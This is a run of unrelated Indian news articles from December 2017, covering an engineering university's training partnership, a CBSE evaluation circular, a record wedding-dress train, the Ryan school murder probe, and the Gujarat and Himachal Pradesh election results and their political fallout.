After successful completion of the training, SSC NASSCOM will also participate in the assessment and certification process.

The QP certification will be in conjunction with the ministry of skill development and entrepreneurship (MSDE) and the National Skills Development Corporation (NSDC).

The vice-chancellor of AKTU, Vinay Kumar Pathak, said: We are excited about the association with SSC NASSCOM which will help us produce industry-ready engineers and equip our faculty with state-of-the-art technology. This will allow us to further provide faculty with the ability to build technical expertise with experiential learning on technologies which will help in enhancing student employability.

AKTU affiliated engineering colleges can create an ecosystem to facilitate students and professors uniformly to stay ahead of the conventional mode of teaching and learning by collaborating with industry association, associate dean (RDIC) Prof Sampath Kumar V said.

Joining hands with SSC NASSCOM is another step towards building a larger industry-ready engineering community through experiential learning, he added.
To ensure quality and error-free evaluation, the Central Board of Secondary Education (CBSE) has asked all affiliated schools to send their regular and experienced teachers for marking the copies. The board has also announced that the class 10 and 12 exams will be held in March 2018.

According to a circular issued by the board, the affiliation of the school will be cancelled if it fails to adhere to the directions.

Smooth and efficient conduct of class 10 and 12 examinations along with declaration of result in time with accuracy has always been the foremost endeavour of the Board. To ensure quality and error-free evaluation , the board requires a large number of experienced and trained teachers to complete the whole process in a time-bound manner, CBSE said in the circular issued to more than 18,000 affiliated schools.

Non-compliance of the directions will be seen as a misconduct and the board will be compelled to take strong action, including penalty and/or further action of disaffiliation.

The board pointed out that it has always relied on schools to depute experienced teachers for evaluation work. However, it has been observed that the schools are not cooperating with the Board in nominating/deputing and relieving their regular and experienced teachers for the process. The directions of the board in this regard are not being followed in letter and spirit.

Schools have been instructed to ensure that all teachers from classes 9 till 12 register themselves on the examination portal. Schools have to relieve all the teachers identified by the CBSE for evaluation.

Ensure that all teachers identified as evaluators of answer script are given no other teaching or school related work during evaluation, thereby raising quality of evaluation.

CBSE has also asked schools to ensure teachers undergo requisite training for pre-evaluation as mandated by the board. This year, the board set up two committees to look into the problems related to evaluation process.

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Trains on wedding dresses are often long and normally require a couple of bridesmaids to keep them in place. But a dramatic ivory wedding gown took things to a whole new level.

Pictured below is the 8,095.4 metre (26,559.7 feet) long wedding dress train, now regarded as the worlds longest.

The gowns train took two months to create and required the meticulous work of 15 seamstresses. (Guinness Book of World Records)

On 9 December, 2017, construction company Dynamic Projects unveiled an elaborate wedding gown with a 8km-long train at Caudry, a French town famous for its production of lace.



The gowns train took two months to create and required the meticulous work of 15 seamstresses, Guinness Book of World Records website reported. The train, all made of donated lace, was then attached to a wedding dress using a decorative belt.

The Guinness World Records title was attempted as part of Telethon 2017. (Guinness Book of World Records)

Having previously achieved the Guinness title for longest dress train in 2006, Dynamic Projects and the town of Caudry wanted the record back in their name. Their new dress also incorporated part of the original record-breaking garment, which measured an impressive, but comparatively-short, 1,203.9 metre. A bride in China held the world record for the longest wedding-dress train at 4,680 metre (15,354 feet 4 inch), before this latest record-setter.

The stunning wedding dress train was later cut into segments and sold, with all the money being donated to charities. (Guinness Book of World Records)

The Guinness World Records title was attempted as part of Telethon 2017, an annual French fund-raising event. The stunning wedding dress train was later cut into segments and sold, with all the money being donated to Telethon charities.

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A three-member team of the Central Bureau of Investigation (CBI) on Tuesday took the fingerprints of the 16-year-old juvenile accused in the Ryan murder case, lodged at an observation home in Faridabad.

The juvenile was apprehended on November 7 in connection with the murder of an eight-year-old Pradhyumn Thakur, a student of Ryan International School, Bhondsi, on September 8. He has been lodged at the observation home since November 11.

The Juvenile Justice Board, Gurgaon, on December 13, allowed the probe agency to take fingerprints of the juvenile accused in the case. The family of the juvenile had opposed the CBI application for the same, but the board directed the accused to give his fingerprints to the investigating officer, in the presence of his lawyer and parents, at the Faridabad observation home on Tuesday.

The family members opposed the CBI action after reaching the observation home when they learned the CBI officials were already inside the home since 1pm. The parents of the juvenile accused said the time to take the fingerprints was decided for 2pm and asked why had the CBI officials entered the home an hour before.

The father of the juvenile alleged that the board had ordered the investigating agency to take the fingerprints in front of the family members and the counsel at 2pm.

The team took more than an hour to the fingerprints, the father said.

They took fingerprints on five different pages of all the fingers and thumb. We had not objected to this. We had visited the CBI headquarters on October 6 for the same but they did not take it. We were cooperating with the CBI officials in their investigations, but were unaware that supporting them would frame my son in the case, said the father of the juvenile accused.

The uncle of juvenile said the CBI officials had already taken the fingerprints during the three-day custody, he was offered only one glass during the three days to drink water. We cannot understand the CBIs intention of taking the fingerprints again, said uncle of the juvenile.

The order had said if juveniles lawyer or parents fail to show up at the observation home within the stipulated time, then the CBI should go ahead with the process of taking his fingerprints.

Meanwhile, the juveniles counsel moved an appeal at the sessions court on Tuesday against the rejection of the bail plea of the juvenile accused. The court will hear the appeal on December 21.

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The Gurgaon district administration will submit its report on the status of water bodies in the city to the National Green Tribunal (NGT) this week, officials said.

The NGT had asked the administration to prepare a report after a petition was filed in Januray last year, saying that Gurgaons water bodies were being encroached on in the process of development.

The petition, filed by Lt. Col. (retd) Sarvadaman Singh Oberoi, urged the courts intervention in preserving and protecting the dying water bodies in the city.

The petition states that according to the report issued by the Central Ground Water Board (CGWB) in 2006, theres over-extraction of groundwater to the tune of 300% in Gurgaon block. Meanwhile, the average decline in groundwater levels over the last 15 years is about 1.5 metres every year. Many areas of the city face steeper declines, the petition states.

In February last year, the court directed the district administration to identify all water bodies in the city and map them out.

After a year, the final report has been prepared and will be submitted to the court this week, said the committee members who conducted the survey.

The according to the revenue records of 1960, the city has 640 water bodies and more than half of them do not exist anymore.

The committee used three data sources to evaluate the actual status of the water bodies in the city. These three sources are Survey of India Maps, Satellite maps and revenue records. The report will shed light on the present situation of groundwater level in the city and how important it is to protect the water sources for the future.

Read I Gurgaon: 50 lakh litres of groundwater extracted daily by tanker mafia, say experts

At present, theres 308% groundwater extraction in the city whereas its recharge ability has been less than 10% over the last 15 years . This is a major concern, Vijender Singh Lamba, a hydrologist, said. He said because of large scale urbanisation, the city is facing an acute water crisis.

According to the CGWA report in 2016, Gurgaon is one of the 162 areas which have been notified across the country for the regulation of groundwater development.

It is important to note that there is increased concretisation of land which leads to enhanced run off. It is estimated that about two third of the citys surface area is likely to be concretised once fully developed as per the land use in the Gurgaon Manesar Urban Complex 2031 masterplan, said Chetan Agarwal, environment analyst, who is also a member of the committee to identify water bodies.

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The Delhi Medical Council (DMC) has sought individual statements from eight doctors, including the gynaecologists and the nursing staff, involved in the treatment of the twins, one of whom had been wrongly declared dead at Max hospital, Shalimar Bagh.

The council has already sought documents from the hospital pertaining to the case.

DMC, a statutory body that regulates the practice of modern medicine, took cognisance of the matter after it was reported in the media.

After the written replies are submitted all the parties involved would be called for hearing, said Dr Girish Tyagi, secretary, DMC.

The DMC will be responsible for deciding if the doctors involved should be punished. We will also look at the whole discussion about whether the baby would be considered a foetus as the delivery happened at just 22 weeks, where survival is almost impossible, said Dr Tyagi.

Read: Newborn dies a week after doctors wrongly declared him dead

The Delhi government has cancelled the hospitals licence, and its probe had found that the doctors and the staff had not monitored the vitals of the baby, including performing an ECG, before declaring the death. Also, the dead and the live twins were not kept and managed separately.

Delhi health minister Satyendar Jain had called the hospital habitual offender as it had received notice for not having a proper clinics for patients from economically weaker sections and using the increased beds during dengue season for other purposes.

The twins, a boy and a girl, were declared dead by doctors at Max Hospital, Shalimar Bagh, and were handed over to them in a polythene bag. The parents later found that the baby boy was alive while taking the bodies for last rites.
Hollywood veteran Meryl Streep has finally responded to Rose McGowans tweet, calling out her and other female actors for planning to wear black at the Golden Globes to protest gender inequality.

McGowan wrote Saturday in a now-deleted tweet: Actresses, like Meryl Streep, who happily worked for The Pig Monster, are wearing black @GoldenGlobes in a silent protest. YOUR SILENCE is THE problem. Youll accept a fake award breathlessly & affect no real change. I despise your hypocrisy. Maybe you should all wear Marchesa.

In response to McGowans tweet, Streeps representative has released a statement from the actor, reports E! Online.

Actor Rose McGowan addresses the audience during the opening session of the three-day Women's Convention at Cobo Center in Detroit, Michigan. (REUTERS)

The statement read, It hurt to be attacked by Rose McGowan in banner headlines this weekend, but I want to let her know I did not know about Weinsteins crimes, not in the 90s when he attacked her, or through subsequent decades when he proceeded to attack others. I wasnt deliberately silent. I didnt know. I dont tacitly approve of rape. I didnt know. I dont like young women being assaulted. I didnt know this was happening.

Streep expressed that she had never visited Weinsteins home, nor had he ever been to her residence, and she had never been invited to his hotel room.

She also noted that not every actor, actress, and director who made films that HW distributed knew he abused women, or that he harassed Rose in the 90s, other women before and others after, until they told us.

The statement continued, Rose assumed and broadcast something untrue about me, and I wanted to let her know the truth. Through friends who know her, I got my home phone number to her the minute I read the headlines. I sat by that phone all day yesterday and this morning, hoping to express both my deep respect for her and others bravery in exposing the monsters among us, and my sympathy for the untold, ongoing pain she suffers.

Harvey Weinstein has been accused of sexual harassment and rape by more than 70 women. (Reuters)

The three-time Oscar-winning artist concluded her statement by saying, I am truly sorry she sees me as an adversary, because we are both, together with all the women in our business, standing in defiance of the same implacable foe: a status quo that wants so badly to return to the bad old days, the old ways where women were used, abused and refused entry into the decision-making, top levels of the industry. Thats where the cover-ups convene. Those rooms must be disinfected, and integrated, before anything even begins to change.

McGowans initial tweet came after it was reported that actresses, including nominees and presenters, were planning to wear black to protest gender inequality and to acknowledge the flood of sexual abuse allegations that have rocked Hollywood.

Following Streeps statement, McGowan has issued an apology on her official Twitter account.

She tweeted, The Marchesa line was beneath me and Im sorry for that. Seeing that picture of Alyssa Milano with GC [Georgina Chapman] has ignited something in me that I cant quite articulate. There is no map for this road Im on, I will fuck up. Peace be with you, go with Goddess.

The Marchesa line was beneath me and Im sorry for that. Seeing that picture of Alyssa Milano with GC has ignited something in me that I cant quite articulate. There is no map for this road Im on, I will fuck up. Peace be with you, go with Goddess.  rose mcgowan (@rosemcgowan) December 18, 2017

Weinsteins career in Hollywood was destroyed after reports came forward accusing him of having intimidated, sexually harassed and abused women for decades.

In the fallout, the once-acclaimed producer has been ousted from his own production company, the Academy of Motion Picture Arts and Sciences and the Producers Guild of America.

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The cast of Netflix movie Bright, which includes Will Smith, Noomi Rapace and Joel Edgerton, are in Mumbai and the fans were in for a treat as the Hollywood star attempted an Indian dance move on the stage while promoting his movie.

At the event, Smith shared his thoughts about working in Bright, where he plays an African-American cop, who is a racist.

Talking about the movie, director David Ayer said, The best moment of the movie for me is always finishing the movie. We work at nights. I love to shoot in the night and the rain.

American Hollywood actor and producer Will Smith and Noomi Rapace attend the premiere of his cop thriller movie Bright in Mumbai on December 18. (AFP)

Joel Edgerton, Will Smith, Noomi Rapace and director David Ayer at the special screening of film Bright in Mumbai. (IANS)

Meanwhile, Smith shared that, The movie has beautiful ideas about racism and how we treat each other. In this film, the elves in the film are top of society, so they represent those who have and the Orcs represent those who do not have. And the humans are in the middle of this fantasy world. I play an African-American cop, who is a racist against Orcs.

Will Smith at the special screening of film Bright in Mumbai on December 18. (IANS)

The Collateral Beauty star added, So, the film is an interesting exploration about how we treat each other. What we love about science-fiction is that you get to go in this fantasy world but you are dealing with real things. Because it is a fantasy world, you find it easier to digest it all than when we are talking about actual social issues.

Stars at the Mumbai premiere of the movie.

Noomi believes that you can watch the movie over and over again because it has many layers.

At the end of the event, Rannvijay, who was hosting the event with Bani J, requested Will Smith and others to show an Indian dance move, in turn Smith asked the host to teach them a step.

Smith beatboxed and then joined his Bright team in trying a step of Bhangra, a Punjabi folk dance form.

The movie will hit the streaming service on December 22.

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Congress president Rahul Gandhi is tipped to take over as chairperson of the Congress Parliamentary Party (CPP), senior members of the party said, though they refused to comment on when the change would happen.

Gandhis mother Sonia Gandhi is currently the chairperson of the CPP, and the members added that she would continue to be its member.

According to a senior party member, Congress representatives in Parliament will soon elect Gandhi as chairperson of the CPP. This person, who spoke on condition of anonymity, said the election would happen soon but didnt elaborate on the timing. As the CPP chairperson, Rahul will have a free hand to nominate leaders, deputy leaders, chief whips and whips in both houses of Parliament.

Rahul chaired a CPP meeting during the winter session of Parliament last year, but he was merely standing in for his mother. He was named the Congresss president on 16 December after winning an election to the post unopposed. He was also the face of the party during its campaign in the Gujarat assembly election. The Congress won 77 seats in the 182-member house, more than it did in the 2012 elections, and also improved its vote share.

In his first interaction with reporters after the Gujarat results, Rahul said the poll outcome has given a zabardast jhatka (massive jolt) to the BJP even as he raised questions about the Prime Ministers credibility.

He said the Gujarat results indicated that the country was not listening to Modi any more and termed the PMs Gujarat model of development good propaganda and able marketing.

I came to know in Gujarat that people actually do not accept Modijis model, the Congress president said.

It was thought that the Congress will not be able to fight the BJP in Gujarat...You saw the results and it has dealt a zabardast jhatka to the BJP, he told reporters.

Rahul also called the Gujarat verdict a moral victory for the Congress.

We lost, but we could have won...but fell short by a small margin, he said. A big question has been raised on Modijis credibility. Frankly, Modiji has a credibility problem and he will find it very difficult... Because the country is not listening to that.In coming times, you will see this clearly.

Countering Rahul, Union minister Prakash Javadekar said the poll outcome had actually jolted the Congress.

We won the state assembly elections in Gujarat for the sixth time. Actually, this is a jolt for the Congress, he told reporters.

Javadekar alleged that the Congress tried to adopt divisive politics in Gujarat but failed.

The Union minister said he was amused to hear that the Congress president had described the results as a big jolt to the BJP.

It seems Rahul is under an illusion and enjoying defeat as victory. This shows his dynastic arrogance and is an insult to the peoples mandate, he said.

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Altogether 114 people were arrested for attacks on journalists for which 189 cases were registered in different parts of the country in the last three years, the Lok Sabha was informed on Tuesday.

Minister of state for home Hansraj Ahir said 41 people were arrested and 47 cases registered for attacks on media persons in 2016. As many as 41 people were arrested and 28 cases registered for similar incidents in 2015.

A total of 32 people were arrested and 114 cases registered in various parts of the country for attacks on media persons in 2014, the minister aaid.

Ahir said in Uttar Pradesh, 67 cases were registered in last three years for attacks on media persons in which seven people were arrested.

In Madhya Pradesh, 50 cases of attacks on media persons were registered, while 56 people arrested in last three years, he added.
The Modi wave swept lower Himachal, giving the BJP the mandate to rule but many a bigwig from the party were in for a shock as the results for the assembly elections were declared on Monday. Lower Himachal comprises the districts of Kangra, Mandi, Hamirpur, Bilaspur and Una, with a total of 39 assembly segments out of 68.

The BJP made a clean sweep in Mandi, winning nine of the 10 seats. One seat went to an independent, Prakash Rana, who has a transport business in Dubai. Rana defeated BJP strongman and former minister Gulab Singh Thakur, whose daughter is married to former chief minister Prem Kumar Dhumals son Anurag Thakur.

Similarly, health minister Kaul Singh Thakur lost from his stronghold of Darang.

In Bilaspur, the BJP won three of four seats except the Sri Naina Deviji segment, where former Congress minister Ram Lal Thakur registered a win after two consecutive defeats.

WINS 10 SEATS IN KANGRA

In Kangra, the politically significant district that holds the key to the seat of power, the BJPs tally went up to 10 from three in the previous election. Over the years, Kangra has become a region known for voting against the incumbent government.

This time, however, Kangra district, which has 15 seats in the 68-member House, not only voted against the incumbent rule but also sprung a surprise as bigwigs from both the BJP and the Congress had to bite the dust.

Among the leaders in Kangra who lost are former BJP minister and five-time legislator Ravinder Singh Ravi from Dehra and Indu Goswami from Palampur.

Among the Congress leaders to lose the election are ministers in the outgoing assembly Sudhir Sharma from Dharamshala and GS Bali from Nagrota Bagwan; former minister and Rajya Sabha member Viplove Thakur from Dehra and former minister Chander Kumar from Jawali.

Of the three constituencies where Modi addressed rallies, the BJP lost in two, Palampur and Fatehpur. Poll analysts say the defeat was due to wrong selection of candidates, who did not belong to the assembly segment.

HAMIRPUR SHOCKER

The most interesting contest was witnessed in Hamirpur district, a citadel of the BJP. The Congress breached into this saffron fortress, winning three of the five seats. The most shocking result came from Sujanpur assembly segment where the BJPs chief ministerial candidate, Prem Kumar Dhumal, lost to his one-time protege Rajinder Singh Rana of the Congress.

The Congress also won Barsar and Nadaun assembly segments.

BJP STATE CHIEF LOSES FROM UNA

Though Una voted for the BJP, giving it three of the five seats, the saffron party also suffered a jolt as its state chief, Satpal Singh Satti, lost to his namesake Satpal Singh Raizada of the Congress. Another seat that went to the Congress was Haroli from where sitting minister Mukesh Agnihotri registered a comprehensive victory.

In Bilaspur, the BJP won three of four seats except the Sri Naina Deviji segment, where former Congress minister Ram Lal Thakur registered a win after two consecutive defeats.

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Factionalism, charges of corruption and an anti- incumbency wave against the chief minister Virbhadra Singh-led government led to the Congress abysmal show in the Himachal Pradesh Assembly elections, leaving the party powerless even in its strongholds.

Congress performance was dismal in the states two biggest districts  Kangra and Mandi  and its strongholds Shimla and Kullu. The party was shrunk to just one seat in Sirmour district that comprises five assembly segments. The only saving grace was in Solan, where the party claimed three of total five seats, including chief minister Virbhadra Singh win over BJP's Rattan Singh Pal in Arki.

Starting its campaign a year before the elections gave BJP a head start, with the party bracing its cadres for the polls by bringing in state as well as national leaders.

Armed with its statewide Mafia hatao, Pradesh bachao campaign, the saffron fold launched a blitzkrieg on the party, focusing on the chief ministers cases of corruption and disproportionate assets.

Congress counter campaign  Modi ke bol jhumlo ke dhol  failed to find favour with the masses with Virbhadra shuttling between Delhi and Shimla for cases, leaving governance in the state suffering.

Fives years into power, Congress could not put its act to together even when the elections were announced. Both the state party chief Sukhvinder Singh Sukhu and Virbhadra remained busy outscoring each other, intensifying the power struggle ahead of the elections.

Strengthened with a strong organisational background, Sukhu took on the might of Virbhadra, a six-time chief minister, who in turn pushed the high command to remove Sukhu.

The Congress also failed to promote the second line of leadership, who could replace Virbhadra, leaving it with no choice but to rely on its old war horse.

During the ticket allocation, Congress largely retained its sitting legislators and ministers, despite the anti-incumbency factor against them. Many sitting ministers and Congress big wigs eventually lost.

Congress Rajya Sabha member Viplove Thakur lost from Dehra to independent candidate Hoshiyar Singh. Excise minister Parkash Chaudhary could not retain his seat from Balh, while forest minister Bharmouri, too, lost from Bharmour. Transport minister GS Bali, who contested elections for the fifth time, lost his fort in Nagrota. Urban development minister Sudhir Sharma lost from Dharamshala to former industries minister Kishan Kapoor, while health minister Kaul Singh Thakur and his daughter Champa Thakur could also not taste victory.

Interestingly, except Vinay Kumar and Nand Lal from Rampur Bushahr, all chief parliamentary secretaries  Rohit Thakur, Rajesh Dharmani, Mansa Ram, Jagjivan Pal, Sohan Lal Thakur and Inder Dutt Lakhanpal  could not retain their seats.

The botched-up police investigation in the rape and murder of a young school girl in Kotkhai further aggravated problems for the Congress party. Both BJP and Communist Party of India-Marxist did not lose the chance to attack Congress, and promptly steered public anger against the government and police for shoddy probe into the case.

Outrage against the crime gathered momentum when photos of the rape victim got circulated and a Nepalese man accused of the rape died in custody at the Kotkhai police station, leading the angry public to torch the police station and three vehicles.

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The BJP has wrested Himachal Pradesh from the Congress, even as the saffron partys chief ministerial face Prem Kumar Dhumal suffered a defeat in the election.

Himachal Pradesh has a history of changing the ruling formation at its helm every five years. For the Congress, Virbhadra Singh won the Arki Assembly seat while his son Vikramaditya Singh won from Shimla (rural).

The Congress and the BJP contested in all the 68 constituencies. Most exit polls had predicted the BJPs return to power with a majority.

The state has alternately elected Congress and BJP since 1985.

Here is the final result tally for Himachal Pradesh:

Party Seats BJP 44 Congress 21 Others 3
The Bharatiya Janata Party has won the election for the 182-member Gujarat assembly, but with a reduced margin.

Prime Minister Narendra Modi hailed the partys victory in Gujarat -- where it has been in power since 1998 -- as unprecedented.

Congress president Rahul Gandhi, who recently replaced his mother Sonia at the helm of the party, said he accepts the verdict of the people.

The Congress improved its vote share in the state, touching 41.4%. The Congress was also helped by young Patidar and Dalit leaders Hardik Patel, Alpesh Thakor and Jignesh Mevani in its campaign against the BJP.

The Election Commission of India has declared results of all assembly seats in Gujarat.

Here is the final result tally for Gujarat:

Party Seats BJP 99 Congress+ 80 Others 3
The Congress failed to dethrone the BJP in Gujarat but a creditable performance on Prime Minister Narendra Modis home turf is a boost for its newly-elected president Rahul Gandhi. Party leaders hailed it as validation of the Congress presidents leadership qualities and organisational skills.

At the end of the counting of votes in perhaps the most crucial electoral battle after the 2014 Lok Sabha polls, the Congress not only significantly increased its tally and vote share but also restricted the BJP below the three-digit figure in the 182-member assembly.

The Congress won 77 seats, up 16 from 2012, and secured 41.4% of the votes polled, which was about two percentage points more than its share in the previous assembly elections.

In the absence of a credible local face, the 47-year-old Rahul spearheaded the partys campaign, crisscrossing the western state for more than two months. During 22 days of campaigning that started on September 25, he addressed nearly 150 rallies and corner meetings. He also managed to stitch important alliances with Patidar face Hardik Patel and OBC leader Alpesh Thakor.

An agile, re-energised Congress performed well, particularly in Saurashtra and north Gujarat, despite organisational weaknesses that had prompted the party to hire people for booth-level management in almost all the 182 constituencies.

As results started coming in, former Congress president Sonia Gandhi and her daughter Priyanka Gandhi Vadra met Rahul, who later left for Parliament.

Accepting the verdict, Rahul tweeted, My Congress brothers and sisters, you have made me very proud. You are different than those you fought because you fought anger with dignity. You have demonstrated to everyone that the Congress greatest strength is its decency and courage. The remarks were an apparent reference to the vitriolic poll campaign witnessed during the elections.

Gujarat was the first real test for Rahul, who took over the reins of the 132-year-old party last week, and a good show has given a sound start to his new innings. The loss in Himachal Pradesh was not unexpected, given that it is traditionally a swing state where the government changes after every five years.

Congress leaders virtually jostled to give Rahul credit for the improved performance in Gujarat, where the party has been out of power since 1998.

Rahul Gandhi ran a very nice and positive campaign. Whatever the results, the country will see this as the Congresss victory, said Ashok Gehlot, party general secretary in charge of Gujarat.

Other leaders such as Kamal Nath, Shashi Tharoor and Renuka Chowdary insisted that the improved performance in Gujarat was the result of Rahuls effective leadership and the beginning of his political story.

Political analysts said while it would have been unrealistic to expect the Congress to win Gujarat, the results have shown that Modis home state is no longer a BJP fort that cannot be breached.

Rahul Gandhi is garlanded by supporters during an election campaign meeting before the second phase of Gujarat assembly elections, in Dakor. (Reuters Photo)

This election has proved that Gujarat is not a forbidden territory anymore. The difference between 100 and 80 is not much. It could have been anybodys game, said former Jawaharlal Nehru University Professor Mridula Mukherjee.

The next stop for Rahul will be the four northeastern states of Meghalaya, Nagaland, and Tripura before the crucial elections in Karnataka in March-April next year, when the BJP will try its best to wrest the state from the Congress.

Mukherjee said Rahul needs to start early and build alliances at regional and national levels to give a fight to Modi in the 2019 Lok Sabha elections. He has to start right now, get everybody on board, put up a credible alternative, give a new narrative and get the whole story going, in which then people begin to see a popular alternative, she said, pointing out that Rahul will have to match his mothers skills to stitch together a difficult coalition, as seen in 2004 when she managed to get the support of Left parties despite ideological differences to form the UPA government.

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Senior Congress leader M Veerappa Moily indicated Tuesday that controversial statements by Mani Shankar Aiyar and Kapil Sibal might have undone the gains made by party president Rahul Gandhi during campaigning in the Gujarat elections.

The former Union minister claimed that Gandhi has emerged as an alternative to (Prime Minister) Narendra Modi for the 2019 general elections. He also accused Modi of trying to emotionally blackmail the Gujarat electorate, saying political parties should not win elections on the basis of jumlas.

...our people like Mani Shankar Aiyar should not have raised those issues against him (PM), Moily told PTI, referring to Aiyars neech aadmi remark targeted at PM Modi .

The BJP returned to power in Gujarat Monday for the sixth straight time, fighting off a strong challenge from the Congress.

Asked if Aiyars comments had an adverse electoral impact for the Congress, Moily said, May be. Narendra Modi utilised that statement to hit at the Congress and also our leader. We should be very careful.

He also termed unnecessary Sibals statement asking the Supreme Court to defer hearing in the Ram Janmabhoomi case till after the 2019 general elections. He (Sibal) should not have made such statements. He was not authorised to make such statements on behalf of the party, Moily said.

It was not the party view, even then Narendra Modi utilised, the former chief minister of Karnataka said.

Some of our leaders also should restrain themselves, particularly on the eve of the elections and during the elections. One should be very careful. Wisdom should prevail upon them, that means to say that our leaders should also have political sense to deal with the subject, he said.

Sometimes whatever is done by Rahul Gandhi...our leadership, is undone by such statements, added Moily, who had held portfolios such as law and justice, corporate affairs and petroleum and natural gas during the UPA government.

He alleged that Modi raised issues to emotionally blackmail the electorate in Gujarat.

...like supari was given to kill him (Modi) when he (Aiyar) visited Pakistan. He (Modi) makes that statement after a lapse of one year. Credibility is the question. But certain percentage of votes must have been swayed because of this, Moily said.

...then again, Pakistan is working against him (Modi) in Gujarat election. Such issues...the Election Commission should take serious note when there is absolutely no proof. Its absolutely again an election jumla, and an election jumla should not win an election for any political party; its negation of democratic principles, Moily said.

So, it was not on merit or vikas, or Gujarat model (that BJP won), but only because certain distortions which have taken place and emotional blackmail and utilising the false statement before the Gujarat electorate, he alleged.

Moily also said the Congress performance in Gujarat, particularly under Gandhis leadership was par excellence.

All those light talks, particularly on Rahul Gandhi, have stopped now. He is marching forward, Moily said and claimed that his party lost in 16 Assembly seats in the western state by barely around 200 votes.

He (Rahul Gandhi) could also consolidate all social forces along with the Congress. Its a big success, Moily said.

Rahul Gandhi has emerged as an alternative to Narendra Modi for the 2019 (general) elections, he added.
The National Democratic Alliance (NDA) on its own is unlikely to gain a majority in the Rajya Sabha until the 2019 general elections but might cross the halfway mark in the Upper House with the help of friendly parties by next June.

The BJPs victories in Uttar Pradesh, Maharashtra and Rajasthan are expected to push the NDA and its partners past the majority mark in the Upper House, where the government has often struggled to push bills through because of the Opposition. The NDA currently holds 76 seats in the 245-member Upper House, where the halfway mark is 123.

Read | Gujarat election result: The BJP has won but the Congress hasnt lost

Between now and April 2018, 13 states with a combined strength of 65 seats will hold biennial elections to the Rajya Sabha. This includes Uttar Pradesh (nine seats), Maharashtra (six seats), Madhya Pradesh (five seats) and Rajasthan (three seats). The NDA is likely to gain 10 more seats on its own, taking its tally to 86.

The NDA will then have to rely on friendly parties such as Tamil Nadus AIADMK (13 seats), Odishas Biju Janata Dal (8) and a clutch of smaller outfits (16 seats) to take it past the majority mark. The saffron partys chances will improve if it sweeps Karnataka, which holds four Rajya Sabha seats and goes to the polls early next year. The government will also nominate four members to the Upper House and can expect their support in key bills and issues.

The BJPs victories in Gujarat and Himachal Pradesh on Monday will have no bearing on the partys Upper House strength till after the 2019 general elections.

A majority in the Rajya Sabha will be a big boost for the government, which has often been embarrassed by the Congress-led opposition that has frequently stalled and delayed legislation.

Read | Why the BJP win doesnt have that usual aura of success

Opposition parties such as the Congress, Left Front, Trinamool Congress, DMK, Samajwadi Party and Bahujan Samaj Party had come together to even insert amendments to the Presidents speech delivered at the beginning of the Budget session the last time. The electoral results of states such as Rajasthan, Madhya Pradesh or Chhattisgarh  all of which go to the polls next year  will have no impact because the RS seats from these states dont come up for election before the 2019 Lok Sabha polls.

But it will be crucial for the government to keep in good humour smaller and regional parties to cross the majority mark. For instance, the BJD has often supported the NDA in the past but is now miffed over the construction of a barrage on the Mahanadi by the BJP-ruled Chhattisgarh. If the BJD is not in the NDAs corner, the ruling coalition will struggle to cross the majority mark before the 2019 general election.

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From Mondays well-fought electoral defeat in Gujarat, the Congress emerges as a credible challenger around which ppposition parties could rally to revive their chances of putting up an united front against the ruling BJP in 2019 Lok Sabha polls.

After it was trounced in the 2014 elections, the Congress, left with only 46 seats in the Lok Sabha, often struggled to lead the Opposition as other regional parties such as the AIADMK, Trinamool Congress and BJD tried to corner it in the non-NDA quarters.

But in Gujarat, the home state of Prime Minister Narendra Modi, the Congresss rainbow coalition showed that the BJP can be vulnerable. The Congress lost the polls but dragged down the BJP, which has been ruling the western state since 1998, to less than 100 seats. In terms of the last Lok Sabha results, in which the BJP won all seats in the state, the ruling party lost 66 assembly segments.

As the trend emerged, Samajwadi Party chief Akhilesh Yadav said that Congress must now lead other secular parties for a change in the 2019 general elections.

The BJP speaks of sabka sath, sabka vikas but when we try to give justice to all sections of society, the same BJP calls it appeasement. We can build a strong Bharat only with taking all people and all sections along, said the former Uttar Pradesh chief minister.

Trinamool Congress chief Mamata Banerjee dubbed the poll result as the moral defeat for the BJP. she also said that Gujarat voters have belled the cat for 2019.

It is a temporary and face-saving win, but it shows a moral defeat for BJP. Gujarat voted against atrocities, anxiety and injustice caused to the common people. Gujarat belled the cat for 2019, the West Bengal chief minister tweeted.

CPI(M) general secretary Sitaram Yechury, who is fighting an internal battle within the party on the question of political understanding with the Congress, called for widest possible coming together of Opposition parties on a policy platform to defeat the BJP.

The widest possible coming together of Opposition forces to take on the BJP on an alternate policy platform will finally defeat and destroy this hate machine, Yechury tweeted.

Sources added that a buoyant Congress and other Opposition parties will take a more aggressive stand in Parliaments ongoing winter session after the Gujarat poll results.
For Himachal Pradesh BJPs chief ministerial candidate Prem Kumar Dhumal, his favourite number 9 turned out to be unlucky this time.

A firm believer in numerology, two-time chief minister Dhumal has preferred number 9 for all important engagements throughout his political life.

Even all his official and personal cars bear the registration number 9. His personal mobile number also ends with the number 9.

This time number nine didnt prove lucky for him as he faced defeat by 1,919 votes, which means the vote count ends with 9, a Bharatiya Janata Party (BJP) leader told IANS.

Voting for the 68-seat Assembly was held on November 9. At that time, he had announced that the day of polling would prove a blessing for him owing to his lucky day -- November 9.

In his previous stint as the Chief Minister, he had inducted nine members in his first cabinet on January 9, 2008.

The BJP wrested power in the state on Monday from the Congress, winning close to two-thirds majority with 44 seats in its kitty.

But Dhumal and state party chief Satpal Satti faced humiliating defeats.

Congress candidate Rajinder Rana, who has learnt political lessons for years from his once-mentor Dhumal, defeated Dhumal in a straight contest by 1,919 votes in Sujanpur, the seat Dhumal was asked to contest from.

Rana, a known social worker in the area, was once the election manager of Dhumal and he knows his family well.

In politics one faces defeat while another faces victory... Its time for introspection, an emotional Dhumal told reporters in his hometown Hamirpur.

Dhumal had swapped his present Hamirpur seat, the pocket borough of the BJP, with party legislator Narendra Thakur, who won the seat.
India and China will hold another round of boundary talks in New Delhi on Friday, in the first parleys under the special representative mechanism since the 73-day Doklam standoff.

Crisis management at the border, operationalising a hotline between the militaries and continuing discussions on clarifying the line of actual control (LAC) could be in focus when Chinese and Indian diplomats meet for the 20th round of SR-level talks.

State councillor Yang Jiechi will lead a team of diplomats to New Delhi to meet his designated counterpart for the talks, Indias national security advisor AK Doval.

The SR meeting is not only a high-level channel for the border issue discussion but also the platform for strategic communication. This also allows the two sides to exchange views on the international and regional issues of major concern, Chinese foreign ministry spokesperson Hua Chunying said on Tuesday.

China and India institutionalised the SR mechanism in 2003, envisaging it as a three-step process.

New Delhi and Beijing reached an agreement on guiding principles and setting political parameters for a settlement in 2005. The two neighbours are now negotiating the second phase of working out a settlement framework, and the final step will be drawing a border line based on the framework agreement.

